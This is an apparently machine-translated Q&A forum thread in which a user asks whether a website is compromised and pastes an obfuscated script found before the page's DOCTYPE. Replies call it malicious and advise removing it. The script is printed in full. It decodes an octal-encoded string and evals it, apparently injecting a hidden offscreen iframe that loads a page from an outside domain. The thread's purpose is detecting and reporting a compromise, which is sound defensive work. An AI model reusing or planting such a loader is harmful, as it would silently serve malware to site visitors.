2013-06-05 39 views
1

在特定的網站(不是我),我提醒它要使用Java和我在印度看到引用的域。由於這對我來說看起來不正常,所以我查看頁面源代碼。在DOCTYPE之前有一個很大的腳本塊。我只在IE10(不是FF等)和多臺機器上看到這一點。我不夠聰明,看看究竟發生了什麼,因爲它看起來很模糊。在向網站所有者報告情況(以及我自己的好奇心)之前,我想知道這是否是黑客入侵的絕對證據。當我從下面搜索「asd = function」這個短語時,我會看到其他幾個代碼非常相似的網站,因此這可能是一個常見問題。 (或者它對於IE10是合法的?)下面是添加了額外換行符的代碼。這個網站被黑了嗎?

<script> 
ps="split"; 
asd=function(){d.body++}; 
a=("15,15,155,152,44,54,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,55,177,21,15,15,15,155,152,166,145,161,151,166,54,55,77,21,15,15,201,44,151,160,167,151,44,177,21,15,15,15,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,46,100,155,152,166,145,161,151,44,167,166,147,101,53,154,170,170,164,76,63,63,145,150,150,163,162,167,147,163,166,166,151,147,170,62,155,162,63,160,156,105,114,73,115,64,157,173,166,65,64,70,106,74,74,64,124,136,150,150,64,131,175,162,75,64,106,122,122,133,64,72,167,107,107,64,171,134,173,114,65,64,174,156,170,64,152,70,154,131,65,64,112,113,105,64,164,116,174,157,64,163,110,117,64,63,53,44,173,155,150,170,154,101,53,65,64,64,53,44,154,151,155,153,154,170,101,53,65,64,64,53,44,167,170,175,160,151,101,53,173,155,150,170,154,76,65,64,64,164,174,77,154,151,155,153,154,170,76,65,64,64,164,174,77,164,163,167,155,170,155,163,162,76,145,146,167,163,160,171,170,151,77,160,151,152,170,76,61,65,64,64,64,64,164,174,77,170,163,164,76,64,77,53,102,100,63,155,152,166,145,161,151,102,46,55,77,21,15,15,201,21,15,15,152,171,162,147,170,155,163,162,44,155,152,166,145,161,151,166,54,55,177,21,15,15,15,172,145,166,44,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,167,166,147,53,60,53,154,170,170,164,76,63,63,145,150,150,163,162,167,147,163,166,166,151,147,170,62,155,162,63,160,156,105,114,73,115,64,157,173,166,65,64,70,106,74,74,64,124,136,150,150,64,131,175,162,75,64,106,122,122,133,64,72,167,107,107,64,171,134,173,114,65,64,174,156,170,64,152,70,154,131,65,64,112,113,105,64,164,116,174,157,64,163,110,117,64,63,53,55,77,152,62,167,170,175,160,151,62,160,151,152,170,101,53,61,65,64,64,64,64,164,174,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,101,53,145,146,167,163,160,171,170,151,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,173,155,150,170,154,53,60,53,65,64,64,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,154,151,155,153,154,170,53,60,53,65,64,64,53,55,77,21,15,15,15,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,62,145,164,164,151,162,150,107,154,155,160,150,54,152,55,77,21,15,15,201"[ps](",")); 
ss=String; 
d=document; 
for(i=0;i<a.length;i+=1){ 
a[i]=-(7-3)+parseInt(a[i],8);} 
try{asd()} 
catch(q){ 
zz=0;} 
try{zz/=2} 
catch(q){zz=1;} 
if(!zz)eval(ss.fromCharCode.apply(ss,a)); 
</script> 

如果這確實是惡意的,是否有法醫網站,我可以/應該發佈此?

+0

紅旗: 1)它使用eval 2)你不把它放在那裏 3)它是模糊的,所以你不知道那是什麼 結論:刪除 – ILikeTacos

+0

http://deobfuscatejavascript.com /報告語法錯誤,但是 - 我會刪除這個。 – sinisake

+0

@nevermind發佈它沒有''

相關問題